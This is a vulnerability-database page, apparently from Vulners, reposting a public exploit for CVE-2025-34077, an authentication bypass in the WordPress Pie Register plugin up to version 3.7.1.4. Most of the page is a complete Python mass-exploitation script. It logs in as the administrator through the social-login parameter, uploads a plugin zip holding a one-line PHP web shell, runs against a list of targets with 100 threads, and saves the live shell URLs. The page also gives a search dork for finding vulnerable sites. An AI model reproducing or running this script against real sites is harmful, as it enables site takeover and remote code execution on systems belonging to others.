Lucene search
K

๐Ÿ“„ WordPress Pie Register 3.7.1.4 Shell Upload

๐Ÿ—“๏ธย 22 Jul 2025ย 00:00:00Reported byย Md Amanat UllahTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 113ย Views

WordPress Pie Register plugin 3.7.1.4 exploit causing authentication bypass and remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
wp-pie-exploit
13 Apr 202617:37
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-34077
9 Jul 202522:37
โ€“githubexploit
GithubExploit
Ntemplatesbyxit
7 May 202615:36
โ€“githubexploit
GithubExploit
Exploit for CVE-2025-34077
28 Jul 202520:05
โ€“githubexploit
Circl
CVE-2025-34077
2 Nov 202114:37
โ€“circl
CNNVD
WordPress plugin Pie Register ๅฎ‰ๅ…จๆผๆดž
9 Jul 202500:00
โ€“cnnvd
CVE
CVE-2025-34077
9 Jul 202500:49
โ€“cve
Cvelist
CVE-2025-34077 WordPress Pie Register Plugin โ‰ค 3.7.1.4 Authentication Bypass RCE
9 Jul 202500:49
โ€“cvelist
Exploit DB
Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
22 Jul 202500:00
โ€“exploitdb
EUVD
EUVD-2025-20764
9 Jul 202500:49
โ€“euvd
Rows per page
# Exploit Title: Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE
    # Google Dork: inurl:/wp-content/plugins/pie-register/
    # Date: 2025-07-09
    # Exploit Author: Md Amanat Ullah (xSwads)
    # Vendor Homepage: https://wordpress.org/plugins/pie-register/
    # Software Link:
    https://downloads.wordpress.org/plugin/pie-register.3.7.1.4.zip
    # Version: <= 3.7.1.4
    # Tested on: Ubuntu 22.04
    # CVE: CVE-2025-34077
    
    #!/usr/bin/env python3
    import requests
    import zipfile
    import io
    import sys
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from colorama import Fore, Style, init
    from threading import Lock
    init(autoreset=True)
    
    SHELL_PHP = "<?php if(isset($_GET['cmd'])) echo shell_exec($_GET['cmd']); ?>"
    PLUGIN_DIR = "evilplugin"
    ZIP_NAME = "evilplugin.zip"
    SHELL_FILE = "shell.php"
    OUTPUT_FILE = "Shells.txt"
    HEADERS = {'User-Agent': 'Mozilla/5.0'}
    TIMEOUT = 10
    lock = Lock()
    
    def FilterURLS(site):
        site = site.strip()
        if not site.startswith(('http://', 'https://')):
            site = 'http://' + site
        if not site.endswith('/'):
            site += '/'
        return site
    
    def make_shell_zip():
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w') as z:
            z.writestr(f"{PLUGIN_DIR}/{PLUGIN_DIR}.php", "<?php /* Plugin */ ?>")
            z.writestr(f"{PLUGIN_DIR}/{SHELL_FILE}", SHELL_PHP)
        buf.seek(0)
        return buf
    
    def exploit(target):
        target = FilterURLS(target)
        session = requests.Session()
        data = {"social_site": "true", "user_id_social_site": "1"}
        try:
            r = session.post(f"{target}?pr_social_login=1", data=data, headers=HEADERS, timeout=TIMEOUT)
        except:
            print(f"{Fore.RED}[Failed] - {target}")
            return
    
        if not session.cookies:
            print(f"{Fore.RED}[Failed] - {target}")
            return
        files = {"pluginzip": (ZIP_NAME, make_shell_zip(), "application/zip")}
        try:
            upload = session.post(f"{target}wp-admin/plugin-install.php?upload", files=files, headers=HEADERS, timeout=TIMEOUT)
        except:
            print(f"{Fore.RED}[Failed] - {target}")
            return
    
        if "Plugin installed successfully" in upload.text:
            shell_url = f"{target}wp-content/plugins/{PLUGIN_DIR}/{SHELL_FILE}"
            print(f"{Fore.GREEN}[Exploited] - {shell_url}")
            with lock:
                with open(OUTPUT_FILE, "a") as f:
                    f.write(shell_url + "\n")
        else:
            print(f"{Fore.RED}[Failed] - {target}")
    
    def main(targets_file):
        with open(targets_file, "r") as f:
            targets = [line.strip() for line in f if line.strip()]
    
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = [executor.submit(exploit, target) for target in targets]
            for _ in as_completed(futures):
                pass
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            print(f"Usage: {sys.argv[0]} list.txt")
            sys.exit(1)
    
        main(sys.argv[1])

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jul 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 410
EPSS0.76237
SSVC
113